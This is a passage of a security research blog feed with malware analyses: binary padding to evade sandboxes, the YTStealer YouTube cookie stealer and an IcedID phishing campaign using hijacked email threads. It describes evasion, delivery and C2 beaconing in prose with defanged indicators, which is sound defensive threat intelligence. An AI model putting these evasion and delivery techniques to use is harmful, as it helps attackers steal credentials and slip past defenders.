&lt;a href="https://github.com/adeilsonsilva/malware-injection"target="_blank" rel="noopener"&gt;been used by researchers&lt;/a&gt;
in order to deceive malware classification.&lt;/p&gt;
&lt;h4&gt;Giant Variable&lt;span class="hx:absolute hx:-mt-20" id="giant-variable"&gt;&lt;/span&gt;
&lt;a href="#giant-variable" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Malware authors can also use really large strings in order to pad malware in
the data section. This technique is not often used as it can be easily
detected, through looking for large strings. This technique involves simply
creating extremely large strings in the code of the malware that are not used
specifically for the functionality of the malware itself. An example can be
easily shown with a simple C program printing out very large strings.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;These strings are stored in the data section of the PE. Since they are just
sequences of repeating characters, they have very little entropy, and can help
with compression. The graph below shows the drop in entropy of where these
strings are stored. One issue that a threat actor might stumble into with this
technique is that depending on the compiler, there can be a limit on the
&lt;a href="https://learn.microsoft.com/en-us/cpp/cpp/string-and-character-literals-cpp?redirectedfrom=MSDN&amp;amp;view=msvc-170#size-of-string-literals"target="_blank" rel="noopener"&gt;maximum length&lt;/a&gt;
of a string literal. This could force the threat actor to use many smaller
strings instead of one massive string for padding.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Compressing this file in ZIP format will lead to a 64% deflation size.&lt;/p&gt;
&lt;h3&gt;How Intezer Fights Binary Padding&lt;span class="hx:absolute hx:-mt-20" id="how-intezer-fights-binary-padding"&gt;&lt;/span&gt;
&lt;a href="#how-intezer-fights-binary-padding" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Binary padding can be a simple and effective way to bypass security defenses,
it is one technique out of many that are in a malware authors arsenal. This
technique combined with other techniques, such as compression, can be chained
to create innovative payloads that hinder analysis and detection.&lt;/p&gt;
&lt;p&gt;Intezer is able to remove padding from samples to make it much more manageable
to analyze. Take for example this
&lt;a href="https://www.virustotal.com/gui/file/d5e5621de806e1bbe724ddd9791e6e4d1a0a68b6194cdafa18aeaf6b09fd9237/detection"target="_blank" rel="noopener"&gt;Laplas Clipper&lt;/a&gt;
sample. It is padded to over 600 MB through using the overlay technique!
Intezer is able to
&lt;a href="https://analyze.intezer.com/files/dee4b71196dd36a2f350c1aaaea795d2242372bda7157f3bc37d76c17d7cc407?utm_campaign=research-blog&amp;amp;utm_content=how-hackers-use-binary-padding-to-outsmart-sandboxes&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;unpack the sample&lt;/a&gt;
from the ZIP file and remove the overlay. Give it a go yourself with padded
samples. Submit the parent ZIP and Intezer will do the rest.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;</description></item><item><title>YTStealer Malware: "YouTube Cookies! Om Nom Nom Nom"</title><link>https://research.intezer.com/blog/2022/06/ytstealer-malware-youtube-cookies/</link><pubDate>Wed, 29 Jun 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/06/ytstealer-malware-youtube-cookies/</guid><description>
&lt;h2&gt;The Stage: The Dark Web Market for YouTube Account Access&lt;span class="hx:absolute hx:-mt-20" id="the-stage-the-dark-web-market-for-youtube-account-access"&gt;&lt;/span&gt;
&lt;a href="#the-stage-the-dark-web-market-for-youtube-account-access" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In 2006, the term
&lt;a href="https://ana.blogs.com/maestros/2006/11/data_is_the_new.html"target="_blank" rel="noopener"&gt;&amp;ldquo;data is the new oil&amp;rdquo;&lt;/a&gt;
was coined. Ever since then, the value of data has just increased. We live in a
world where many corporations collect data on users in an attempt to monetize
it. This is not just limited to legitimate corporations; the same occurs on the
Dark Web. With data, someone always wants to turn it into money. One thing
that&amp;rsquo;s interesting when it comes to the Dark Web is that a lot of these deals
are not happening behind closed doors. Instead, they are sometimes advertised
front and center on the forums.&lt;/p&gt;
&lt;p&gt;These Dark Web forums have become their own small economies where threat actors
specialize in specific services. This specialization has made it easier for
these threat actors to monetize what they are good at. We see this, especially
in the ransomware scene. There are specialized roles for people that gain
access to organizations, steal and encrypt data for the double extortion
effect, to ransom negotiators. Another hypothetical chain is: a threat actor
sells malware to another that uses the malware to steal data from an
organization. The data is sold to another that tries to convert the data into
cash. As you move along this chain, the amount of money exchanged usually
increases since each party wants to turn in a profit, but the risks also
increase. At some point, one of these threat actors must interact with the real
world to obtain the cash. This is when they are usually exposed, if they
haven&amp;rsquo;t already made other mistakes.&lt;/p&gt;
&lt;p&gt;In this blog post, we are describing a new malware that we have concluded is
highly likely sold as a service on the Dark Web. We have named the malware
YTStealer because its sole objective is to steal authentication cookies from
YouTube content creators. In June 2020,
&lt;a href="https://intsights.com/blog/stolen-youtube-credentials-growing-in-popularity-on-dark-web-forums"target="_blank" rel="noopener"&gt;IntSights&lt;/a&gt;
released a report on a new trend that they observed. In this trend, threat
actors were selling access to YouTube accounts. The goal of this write-up is to
share one of the many methods threat actors are using to obtain these accounts.&lt;/p&gt;
&lt;h2&gt;One Stealer, One Goal&lt;span class="hx:absolute hx:-mt-20" id="one-stealer-one-goal"&gt;&lt;/span&gt;
&lt;a href="#one-stealer-one-goal" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;YTStealer is a malware whose objective is to steal YouTube authentication
cookies. As a stealer, it operates like many other stealers. The first thing it
does when it&amp;rsquo;s executed is to perform some environment checks. This is to
detect if the malware is being analyzed in a sandbox. The code that performs
the checks comes from an open-source project hosted on GitHub called
&lt;a href="https://github.com/p3tr0v/chacal"target="_blank" rel="noopener"&gt;Chacal&lt;/a&gt;. Figure 1 shows a screenshot of the
project&amp;rsquo;s readme file. The framework is marketing itself for Red Teams and
pen-testers. It provides anti-debugging, anti-memory analysis, and anti-VM
functionality.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/ytstealer-malware-youtube-cookies/images/fig1.png" title="Figure 1: Part of Chacal&amp;#39;s README." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Part of Chacal&amp;#39;s README.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;What sets YTStealer aside from other stealers sold on the Dark Web market is
that it is solely focused on harvesting credentials for one single service
instead of grabbing everything it can get ahold of. When it comes to the actual
process, it is very similar to that seen in other stealers. The cookies are
extracted from the browser&amp;rsquo;s database files in the user&amp;rsquo;s profile folder.&lt;/p&gt;
&lt;p&gt;If YTStealer finds authentication cookies for YouTube, it does something
interesting though. To validate the cookies and to grab more information about
the YouTube user account, the malware starts one of the installed web browsers
on the infected machine in headless mode and adds the cookie to its cookie
store. By starting the web browser in headless mode, the malware can operate
the browser as if the threat actor sat down on the computer without the current
user noticing anything. To control the browser, the malware uses a library
called &lt;a href="https://go-rod.github.io"target="_blank" rel="noopener"&gt;Rod&lt;/a&gt;. Rod provides a high-level interface to
control browsers over the DevTools Protocol and markets itself as a tool for
web automation and scraping.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/ytstealer-malware-youtube-cookies/images/fig2.png" title="Figure 2: Screenshot of Rod&amp;#39;s documentation describing the framework." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: Screenshot of Rod&amp;#39;s documentation describing the framework.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Using the web browser, YTStealer navigates to YouTube&amp;rsquo;s Studio page which
allows content creators to manage their content. From YouTube studio, the
malware grabs information about the user&amp;rsquo;s channels. The data it grabs includes
the channel name, how many subscribers it has, how old it is, if it is
monetized, an official artist channel, and if the name has been verified. All
the data is encrypted with a key that is unique for each sample and sends it
together with a sample identifier to the command and control (C2) server
located at the domain name &lt;code&gt;youbot[.]solutions&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;YTStealer doesn&amp;rsquo;t discriminate about what credentials it steals, whether it&amp;rsquo;s
someone uploading Minecraft videos to share with a few friends or a channel
like Mr. Beast with millions of subscribers. On the Dark Web, the &amp;ldquo;quality&amp;rdquo; of
stolen account credentials influences the asking price, so access to more
influential YouTube channels would command higher prices.&lt;/p&gt;
&lt;h2&gt;What is &amp;ldquo;YouBot Solutions&amp;rdquo;?&lt;span class="hx:absolute hx:-mt-20" id="what-is-youbot-solutions"&gt;&lt;/span&gt;
&lt;a href="#what-is-youbot-solutions" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;While investigating all the YTStealer samples that we have come across, we
noticed that all shared the same build path. The path, shown below, looks like
a path from an internal build service. The path also includes the domain name
to which the stealer exfiltrates the stolen data.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;/home/admin/web/youbot.solutions/public_html/Builder/Sources&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This domain name was registered back in December 2021 and hosts a web server
behind Cloudflare that returns an empty response. By using the domain name we
identified an American corporation with the name of &amp;ldquo;YOUBOT SOLUTIONS LLC&amp;rdquo;. The
corporation was registered in New Mexico on March 8, 2022 (unfortunately, the
State of New Mexico&amp;rsquo;s corporation registry is not accessible outside of the US
but the data can be obtained from
&lt;a href="https://www.bizapedia.com/nm/youbot-solutions-llc.html"target="_blank" rel="noopener"&gt;third party providers&lt;/a&gt;).
Figure 2 shows a screenshot of a Google Business entry for a company with the
same name and address as in the registry database. The company lists itself as
a software company that &amp;ldquo;provides [sic] unique solutions for getting and
monetizing targeted traffic&amp;rdquo;. The website provided in the listing points to
&lt;code&gt;youbot[.]solutions&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/ytstealer-malware-youtube-cookies/images/fig3.png" title="Figure 3: Google Business listing for YOUBOT SOLUTIONS LLC." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: Google Business listing for YOUBOT SOLUTIONS LLC.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The business listing has a logo of an eye in a red circle. A Google image
search using the icon returned some results with the same image. All the
results were under the domain &lt;code&gt;aparat[.]com&lt;/code&gt;. Aparat is an Iranian
video-sharing site that was founded in 2011. The image matched was used as a
profile picture for a user on the site. Figure 4 shows the profile page of the
user. The profile page provided a link to a Twitter account. Figure 5 shows a
screenshot of the Twitter account.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/ytstealer-malware-youtube-cookies/images/fig4.png" title="Figure 4: Screenshot of Aparat user account&amp;#39;s profile page that uses YOUBOT SOLUTIONS LLC&amp;#39;s logo as their profile image." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: Screenshot of Aparat user account&amp;#39;s profile page that uses YOUBOT SOLUTIONS LLC&amp;#39;s logo as their profile image.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/ytstealer-malware-youtube-cookies/images/fig5.png" title="Figure 5: Twitter profile linked to in the Aparat user profile." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: Twitter profile linked to in the Aparat user profile.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;How Are Victims Targeted?&lt;span class="hx:absolute hx:-mt-20" id="how-are-victims-targeted"&gt;&lt;/span&gt;
&lt;a href="#how-are-victims-targeted" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Given the optics of the infrastructure and that each sample has a unique
identifier, it appears that YTStealer is sold as a service to other threat
actors. With this in mind, we decided to look into if we could get a better
understanding of who is targeted by this stealer. As it is designed to steal
YouTube credentials, it&amp;rsquo;s already clear that YouTube content creators are being
targeted. Can we narrow the scope further?&lt;/p&gt;
&lt;p&gt;We looked at files that either dropped or downloaded the YTStealer samples that
we have collected. The first observation is that the majority of these files
don&amp;rsquo;t just drop YTStealer. The droppers also came loaded with other stealers,
including RedLine and Vidar stealers. Of the different stealers used together
with YTStealer, RedLine stealer was the highest count. Figure 6 shows the
analysis of one of the files that drop both YTStealer and RedLine. One of the
memory modules found has a lot of shared code with other RedLine stealer
samples in our dataset.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/ytstealer-malware-youtube-cookies/images/fig6.png" title="Figure 6: Intezer Analyze result for one of the malware dropping YTStealer together with RedLine stealer. (https://analyze.intezer.com/files/132f868aabbd82b36b283f0b6768133b6297de0acd5f47e6cb9a76dc07fd276a)" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Intezer Analyze result for one of the malware dropping YTStealer together with RedLine stealer. (https://analyze.intezer.com/files/132f868aabbd82b36b283f0b6768133b6297de0acd5f47e6cb9a76dc07fd276a)&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A lot of these files are disguised as installers for tools or legitimate
software. With it targeting content creators, we would expect some of the names
to overlap with tools or software used by the intended targets. Grouping the
names, we do see some overlap.&lt;/p&gt;
&lt;p&gt;One of the groups is &amp;ldquo;Digital, Image, and Video software&amp;rdquo;. We found fake
installers for OBS Studio, an open-source streaming software. Additionally, we
identified a few video editing software installers which included Adobe
Premiere Pro, Filmora, and HitFilm Express. In the audio category, we
identified fake installers for digital audio workstation (DAW) applications and
plugins. This included the DAWs Ableton Live 11 Suite and FL Studio. The
plugins included the infamous Antares Auto-Tune Pro, but also Valhalla DSP,
FabFilter Total, and Xfer Serum.&lt;/p&gt;
&lt;p&gt;The second group is what we call &amp;ldquo;Game mods and cheats&amp;rdquo;. The games match
popular games used by streamers and content creators. We identified fake
installers for the FiveM Grand Theft Auto V mod, different &amp;ldquo;hacks&amp;rdquo; for Roblox,
and cheats for Counter-Strike Go, and Call of Duty. A variant of the Valorant
hack reported on by &lt;a href="https://asec.ahnlab.com/en/32499/"target="_blank" rel="noopener"&gt;AhnLab&lt;/a&gt; earlier was
also discovered. Valorant &amp;ldquo;gamers&amp;rdquo; were also targeted by a
&lt;a href="https://www.youtube.com/watch?v=w5dOjWDVG7g"target="_blank" rel="noopener"&gt;&amp;ldquo;Skin Changer&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Another group of tools that can be classified as adjacent to games is driver
tools. Gamers usually would like to squeeze the very last drop of performance
out of their gaming rigs. One way of doing this is to &amp;ldquo;ensure you are using
updated drivers and that they are tuned correctly&amp;rdquo;. In this group, we found
fake installers for tools such as &amp;ldquo;Driver Booster&amp;rdquo; and &amp;ldquo;Driver Easy&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;The last group is for other software and &amp;ldquo;cracks&amp;rdquo;. Here we identified anything
from fake installers for security products, such as Norton Security and
Malwarebytes to &amp;ldquo;token generators&amp;rdquo; and &amp;ldquo;cracks&amp;rdquo; for services such as Discord
Nitro, Stepn, and Spotify Premium.&lt;/p&gt;
&lt;p&gt;The overwhelming part of these fake installers are for pirated versions of the
software, but we also see some fake installers for game mods. This finding
should further stress the importance of only obtaining software from trusted
sources. Only obtain software directly from the vendor or &amp;ldquo;modding&amp;rdquo; group.&lt;/p&gt;
&lt;h2&gt;Lessons Learned&lt;span class="hx:absolute hx:-mt-20" id="lessons-learned"&gt;&lt;/span&gt;
&lt;a href="#lessons-learned" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Someone always has a way of monetizing data. When it comes to stolen YouTube
authentication data, we haven&amp;rsquo;t analyzed how it&amp;rsquo;s being monetized in the next
step of the chain. One potential option could be to defraud the subscribers of
channels. When it comes to how this malware is infecting the victims, we can
see a trend. Most of the fake installers used were for cracked versions of
legitimate software. We also saw fake installers for mods and cheats for games.
When it comes to how to protect yourself, the classic security practice should
be applied. Only use software from trusted sources.&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href="https://github.com/intezer/community-intelligence/blob/master/YTStealer_hashes.txt"target="_blank" rel="noopener"&gt;IoCs can be found on GitHub here.&lt;/a&gt;&lt;/p&gt;</description></item><item><title>New Conversation Hijacking Campaign Delivering IcedID</title><link>https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/</link><pubDate>Mon, 28 Mar 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/</guid><description>
&lt;p&gt;&lt;em&gt;This post describes the technical analysis of a new campaign detected by
Intezer&amp;rsquo;s research team, which initiates attacks with a phishing email that
uses conversation hijacking to deliver IcedID.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The underground economy is constantly evolving with threat actors specializing
in specific fields. One field that has bloomed in the last few years is initial
access brokers. Initial access brokers specialize in gaining an initial
beachhead access to organizations and once achieved, sell the access to other
threat actors that monetize it further.&lt;/p&gt;
&lt;p&gt;Some of the customers to initial access brokers buy the access to deploy
ransomware.
&lt;a href="https://www.proofpoint.com/uk/blog/threat-insight/first-step-initial-access-leads-ransomware"target="_blank" rel="noopener"&gt;Proofpoint&lt;/a&gt;
has identified ten access brokers that sell access to ransomware groups. These
access brokers largely infect their victims with banking trojans that are later
used to deploy another malware at the &amp;ldquo;purchaser&amp;rsquo;s request.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;One of these banking trojans that have been used to deploy
&lt;a href="https://www.mandiant.com/resources/melting-unc2198-icedid-to-ransomware-operations"target="_blank" rel="noopener"&gt;ransomware&lt;/a&gt;
is IcedID (BokBot). IcedID was first reported on by
&lt;a href="https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/"target="_blank" rel="noopener"&gt;IBM X-Force in November 2017&lt;/a&gt;
and the malware
&lt;a href="../../../2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/"&gt;shared some code with Pony&lt;/a&gt;.
While initially designed to steal banking credentials, like many other banking
trojans, the malware has been repurposed for deploying other malware on the
infected machines.&lt;/p&gt;
&lt;p&gt;One way IcedID infects machines is via phishing
&lt;a href="https://unit42.paloaltonetworks.com/ta551-shathak-icedid/"target="_blank" rel="noopener"&gt;emails&lt;/a&gt;. The
infection chain that commonly has been used is an email with an attached
password protected &lt;code&gt;zip&lt;/code&gt; archive. Inside the archive is a macro enabled office
document that executes the IcedID installer. Some phishing emails reuse
previously stolen emails to make the lure more convincing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In the new IcedID campaign we have discovered a further evolution of the
threat actors&amp;rsquo; technique.&lt;/strong&gt; The threat actor now uses compromised Microsoft
Exchange servers to send the phishing emails from the account that they stole
from. The payload has also moved away from using office documents to the use of
ISO files with a Windows LNK file and a DLL file. The use of ISO files allows
the threat actor to bypass the
&lt;a href="https://attack.mitre.org/techniques/T1553/005/"target="_blank" rel="noopener"&gt;Mark-of-the-Web&lt;/a&gt; controls,
resulting in execution of the malware without warning to the user. &lt;strong&gt;With
regards to targeting, we have seen organizations within energy, healthcare,
law, and pharmaceutical sectors.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Infection Chain&lt;span class="hx:absolute hx:-mt-20" id="infection-chain"&gt;&lt;/span&gt;
&lt;a href="#infection-chain" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The attack-chain starts with a phishing email. The email includes a message
about some important document and has a password protected &lt;code&gt;zip&lt;/code&gt; archive file
attached. The password to the archive is given in the email body, as can be
seen in the screenshot below. What makes the phishing email more convincing is
that it&amp;rsquo;s using conversation hijacking (thread hijacking). &lt;strong&gt;A forged reply to
a previous stolen email is being used.&lt;/strong&gt; Additionally, the email has also been
sent from the email account from whom the email was stolen from.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The content of the zip archive is shown in the screenshot below. It includes a
single &lt;code&gt;ISO&lt;/code&gt; file with the same filename as the zip archive. It can also be
seen that the file was created not that long before the email was sent.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The ISO file includes two files, a LNK file named &lt;code&gt;document&lt;/code&gt; and a DLL file
named &lt;code&gt;main&lt;/code&gt;. From the timestamps it can be concluded that the DLL file was
prepared the day before while the LNK file was prepared about a week before. It
is possible that the LNK file has been used in earlier phishing emails.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The LNK file has been made to look like a document file via its embedded icon
file. As can be seen in the screenshot below, when a user double clicks the
link file, it uses &lt;code&gt;regsvr32&lt;/code&gt; to execute the DLL file.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The use of &lt;a href="https://attack.mitre.org/techniques/T1218/010/"target="_blank" rel="noopener"&gt;&lt;code&gt;regsvr32&lt;/code&gt;&lt;/a&gt; allows
for proxy execution of malicious code in &lt;strong&gt;&lt;code&gt;main.dll&lt;/code&gt;&lt;/strong&gt; for defense evasion.
The DLL file is a loader for the IcedID payload. It contains a number of
exports, most of which consist of junk code.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The loader will locate the encrypted payload, stored in the resource section of
the binary. It does this through the technique &lt;em&gt;API hashing&lt;/em&gt;. A decompilation
of the simple hashing function is shown below.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The resulting hash is then compared with a hardcoded hash, locating the call
for &lt;strong&gt;&lt;code&gt;FindResourceA&lt;/code&gt;&lt;/strong&gt;. The function is dynamically called to fetch the
payload.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Memory is allocated using &lt;strong&gt;&lt;code&gt;VirtualAlloc&lt;/code&gt;&lt;/strong&gt; to hold the decrypted payload.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The IcedID &amp;ldquo;Gziploader&amp;rdquo; payload is decoded and placed in memory and then
executed. GZiploader fingerprints the machine and sends a beacon to the command
and control server with information about the infected host. The information is
smuggled through the cookies header via an HTTP GET request.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The C2 is located at &lt;code&gt;yourgroceries[.]top&lt;/code&gt;. The C2 can respond with a further
stage to be dropped and executed. The C2 did not respond with a payload during
our analysis.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conversation Hijacking as a Phishing Technique&lt;span class="hx:absolute hx:-mt-20" id="conversation-hijacking-as-a-phishing-technique"&gt;&lt;/span&gt;
&lt;a href="#conversation-hijacking-as-a-phishing-technique" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The technique of hijacking an already existing conversation over email to
spread malware is something threat actors have been using for a while. Normally
email messages are stolen during an infection and used in future attacks to
make the phishing email appear more legitimate. In the last six months, threat
actors have evolved the technique further to make it even more convincing.
Instead of sending the stolen conversation to the victim with a &amp;ldquo;spoofed&amp;rdquo; email
address, threat actors are now using the email address of the victim that they
stole the original email from to make the phishing email even more convincing.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/GossiTheDog/status/1455204386834206729"target="_blank" rel="noopener"&gt;Kevin Beaumont&lt;/a&gt;
reported on this conversation hijacking technique back in November 2021 being
used to distribute Qakbot. Through the investigation, he confirmed that the
Microsoft Exchange servers where the emails originated from had evidence of
being exploited by ProxyShell.&lt;/p&gt;
&lt;h2&gt;New Campaign Discovered in March 2022&lt;span class="hx:absolute hx:-mt-20" id="new-campaign-discovered-in-march-2022"&gt;&lt;/span&gt;
&lt;a href="#new-campaign-discovered-in-march-2022" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the current mid-March campaign, we have discovered reuse of the same stolen
conversation now being sent from the email address that received the latest
email. Back in January when this conversation was also used, the &lt;code&gt;FROM&lt;/code&gt; address
was &lt;code&gt;webmaster@[REDACTED].com&lt;/code&gt; with the name of the recipient of the last email
in the conversation. By using this approach, the email appears more legitimate
and is transported through the normal channels which can also include security
products.&lt;/p&gt;
&lt;p&gt;The majority of the originating Exchange servers we have observed appear to
also be unpatched and publicly exposed, making the ProxyShell vector a good
theory. While the majority of the Exchange servers used to send the phishing
emails can be accessed by anyone over the Internet, we have also seen a
phishing email sent internally on what appears to be an &amp;ldquo;internal&amp;rdquo; Exchange
server.&lt;/p&gt;
&lt;p&gt;The code snippet below shows a small part of the email header. The IP address
of the Exchange server is a local IP address (&lt;code&gt;172.29.0.12&lt;/code&gt;) with a top-level
domain name of &lt;code&gt;local&lt;/code&gt;. We can also see a header added by Exchange marking it
as an internal email. The exchange server also has added a header of the
original client (&lt;code&gt;172.29.5.131&lt;/code&gt; which also is a local IP address) that
connected to the Exchange server over
&lt;a href="https://social.technet.microsoft.com/Forums/lync/en-US/4775f066-4734-4ccd-a998-0ea43fad7069/xmsexchangeorganizationauthmechanism-possible-values?forum=exchangesvrsecuremessaging"target="_blank" rel="noopener"&gt;MAPI&lt;/a&gt;.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Received: from ExchSrv01.[REDACTED].local (172.29.0.12) by
ExchSrv01.[REDACTED].local (172.29.0.12) with Microsoft SMTP Server
(version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.464.5
via Mailbox Transport; Thu, 10 Mar 2022 14:34:29 &amp;#43;0100
Received: from ExchSrv01.[REDACTED].local (172.29.0.12) by
ExchSrv01.[REDACTED].local (172.29.0.12) with Microsoft SMTP Server
(version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.464.5;
Thu, 10 Mar 2022 14:34:29 &amp;#43;0100
Received: from ExchSrv01.[REDACTED].local ([fe80::b148:8e7:61f8:61b4]) by
ExchSrv01.[REDACTED].local ([fe80::b148:8e7:61f8:61b4%6]) with mapi id
